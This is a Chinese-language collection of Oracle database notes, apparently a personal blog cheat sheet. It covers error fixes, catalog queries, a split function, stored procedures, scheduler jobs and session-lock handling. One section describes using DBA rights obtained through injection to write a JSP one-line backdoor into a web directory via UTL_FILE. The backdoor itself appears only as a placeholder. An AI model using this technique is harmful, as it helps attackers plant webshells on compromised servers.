命令:
错误描述:
ORA-01034: ORACLE not available
ORA-27101: shared memory realm does not exist
这个错误有点怪,以前可以用的,由于把用户的DBA权限去掉了,重启电脑 。。。后来就报这种错误。。。
解决方案:
ORA-01034: ORACLE not available
ORA-27101: shared memory realm does not exist
在CMD中输入以下内容,
1,c:> ;sqlplus /nolog
2,Sql> connect jjt【用户名】/jjt【密码】@orapop【实例名】 as sysdba
3,SQL> startup
http://blog.csdn.net/didiaodezhu/category/594612.aspx
1.
select * from all_tab_columns where table_name = 'T_OMC_LOG'
查看表结构
select uo.object_name from user_objects uo where uo.object_type = 'TABLE' // TABLE要大些
查看该对象下的所有表名
select uo.* from user_objects uo //查询所有用户对象
truncate table 表名 //删除表的所有记录 自动commit
select fid from t_sys_dept start with fid =pDeptid connect by prior fpid = fid //通过子编号向上查询所有父类(包含本级 但没到 最高级)
select t.fid from t_sys_dept t connect by prior fid = fpid start with fpid = pDeptid//通过编号向下查询所有子类(不包括本级)
存储过程授权
grant execute on 存储过程名字 to 用户名
如: grant execute on xjq to omc;
2.
oracle中的split 字符串分割函数
(1)第一两个类型
CREATE OR REPLACE TYPE ty_row_str_split as object (strValue VARCHAR2 (4000))
CREATE OR REPLACE TYPE ty_tbl_str_split IS TABLE OF ty_row_str_split
(2)写一个方法
create or replace function fun_split
(
p_str in varchar2,
p_delimiter in varchar2
)
return ty_tbl_str_split is
j int := 0;
i int := 1;
len int := 0;
len1 int := 0;
str varchar2(4000);
str_split ty_tbl_str_split := ty_tbl_str_split();
begin
len := LENGTH(p_str);
len1 := LENGTH(p_delimiter);
while j < len loop
j := INSTR(p_str, p_delimiter, i);
if j = 0 then
j := len;
str := SUBSTR(p_str, i);
str_split.EXTEND;
str_split(str_split.COUNT) := ty_row_str_split(strValue => str);
if i >= len then
exit;
end if;
else
str := SUBSTR(p_str, i, j - i);
i := j + len1;
str_split.EXTEND;
str_split(str_split.COUNT) := ty_row_str_split(strValue => str);
end if;
end loop;
return str_split;
exception
when others then
-- xp_sys_errorlog('procedure','xp_sys_permit',sqlcode,sqlerrm,'p_str='||p_str);
dbms_output.put_line('异常');
end fun_split;
(3) 测试调用
my:自定义的
pUserid:要截取的字符串 如:1^3^2^4^5^6
create or replace procedure xp_sys_permit
(
pUserid varchar2, -- 用户编号
pRet out number -- 返回参数
)
is
pCountPid int :=0;
begin
for my in ( select to_char(strvalue) as Value from table(fun_split(pUserid,'^')))
loop
if my.value is not null then
dbms_output.put_line('测试');
end if;
end loop;
exception
when others then
pRet := 1000;
end xp_sys_permit;
3.procedure 循环一张表的数据
create or replace procedure xp_sys_initpermit
(
pAccount varchar2,
pRet out number
)
is
pUserid int :=0; -- 用户编号
pMenuid varchar2(500):=''; --菜单编号
pActioninit varchar2(500):=''; --菜单动作
begin
pRet :=0;
for pTable in (select t.fid,t.factioninit from t_sys_menu t where t.fneed = '0')
loop
pMenuid := pTable.fid;
pActioninit :=pTable.Factioninit;
end loop;
exception
when others then
pRet := 1000;
xp_sys_errorlog('procedure','xp_sys_permit',sqlcode,sqlerrm,'pAccount='||pAccount);
end xp_sys_initpermit;
4.
MySQL SQL Server Oracle
换行符 \n或\r\n或CHAR(10) CHAR(13) CHR(10)
字符串连接符 CONCAT() + ||或CONCAT()
5.作业
select * from user_scheduler_jobs --查询当前用户所有调度作业
execut dbms_scheduler.drop_job(job_name);--删除调度作业(‘大写’)
exceut dbms_scheduler.stop_job(job_name);--停止调度作业
exceut dbms_scheduler.run_job(job_name,true); -- 开始调度作业true代表同步执行
exceut dbms_scheduler.enable(job_name); --启用调度作业
begin
dbms_scheduler.create_job
(
job_name => 'REPORT_FORMS_JOB',
job_type => 'STORED_PROCEDURE',
job_action => 'xp_job_report_forms',
repeat_interval => 'FREQ=DAILY',
start_date => to_date('2009-02-20 23:58:59','YYYY-MM-dd HH24:MI:SS'),
enabled => true,
comments => 'New T_QZT_REPORT Table Rows'
);
end;
begin
dbms_scheduler.create_job
(
job_name => 'UP_OVERTIME_JOB',
job_type => 'STORED_PROCEDURE',
job_action => 'xp_up_overtime',
repeat_interval => 'FREQ=MINUTELY; INTERVAL=2',
enabled => true,
comments => 'Send Overtime Sms To User'
);
end;
------------------------------------------循环-------------------------------------------
set serveroutput on
declare
vnum number:=10;
i number:=0;
begin
--loop循环
--loop
-- dbms_output.put_line('i='||i);
-- i:=i+1;
-- EXIT when i>=10;
--end loop;
--while 循环
-- while i<10 loop
-- dbms_output.put_line('i='||i);
-- i:=i+1;
-- end loop;
--for 循环
for x in 0..10 loop
dbms_output.put_line('x='||x);
end loop;
end;
------------------------------------------------oracle 写文件的存储过程(环境oracle10g)---------------------------------------------
一般我们通过函数注射以后 获得ORA的DBA权限 那么我们就得对本地文件进行操作!要是WEB跟ORA是同一个机器~那就更方便于我们拿更多的权限了~或者对本地写webshell
下面是采用ORA 自带的文件访问包 操作本地文件! 前提是你必须要知道WEBSITE的物理地址
以下是一个简单例子
--首先我们得先建立一个 ORACLE的目录对象 指向 C:\
create or replace directory IST0_DIR as 'C:\'; --如果没有权限创建目录可以 grant CREATE ANY DIRECTORY to *** 通过这个语句来授权
--然后我们对这个目录对象进行授权 其实这步可以忽略
grant read, write on directory IST0_DIR to 用户;
--以上前奏完成了! 我们可以写PLSQL 进行操作文件了
declare
isto_file utl_file.file_type; --定义变量的类型为utl_file.file_type
begin
isto_file := utl_file.fopen('IST0_DIR', 'kj021320.jsp', 'W'); --指定为IST0_DIR 目录下面的kj021320.jsp文件写操作
utl_file.put_line(isto_file, '一句话后门'); --写入字符串
utl_file.fflush(isto_file); --刷缓冲
utl_file.fclose(isto_file); --关闭文件指针
end;
--下面我们可以使用读操作把写入的文件内容读出来
declare
isto_file utl_file.file_type; --如上
fp_buffer varchar2(4000); --没必要说了吧?
begin
isto_file := utl_file.fopen('IST0_DIR', 'kj021320.jsp', 'R'); -- 指定为读操作
utl_file.get_line (isto_file , fp_buffer ); --读取一行放到 fp_buffer 变量里面
dbms_output.put_line(fp_buffer);--在终端输出结果看看
utl_file.fclose(isto_file); --关闭文件指针
end;
==================安装=============
安装的时候 目标文件 用英文目录 如:E:\data\F\92010NT_Disk1
=================启动================
@echo off
net start OracleOraDb10g_home1TNSListener
net start OracleServiceORCL
net start OracleOraDb10g_home1iSQL*Plus
:end
==============停止====================
@echo off
net stop OracleOraDb10g_home1iSQL*Plus
net stop OracleServiceORCL
net stop OracleOraDb10g_home1TNSListener
:end
==============oracle解锁=============
select t2.username,t2.sid,t2.serial#,t2.logon_time
from v$locked_object t1,v$session t2
where t1.session_id=t2.sid order by t2.logon_time;
--查看锁
--alter system kill session 'sid,serial#';
--把锁给KILL掉
例如:
alter system kill session '146,21177';